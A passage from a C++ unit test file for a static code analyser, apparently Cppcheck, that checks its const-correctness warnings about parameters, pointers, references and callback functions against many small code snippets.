\" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n 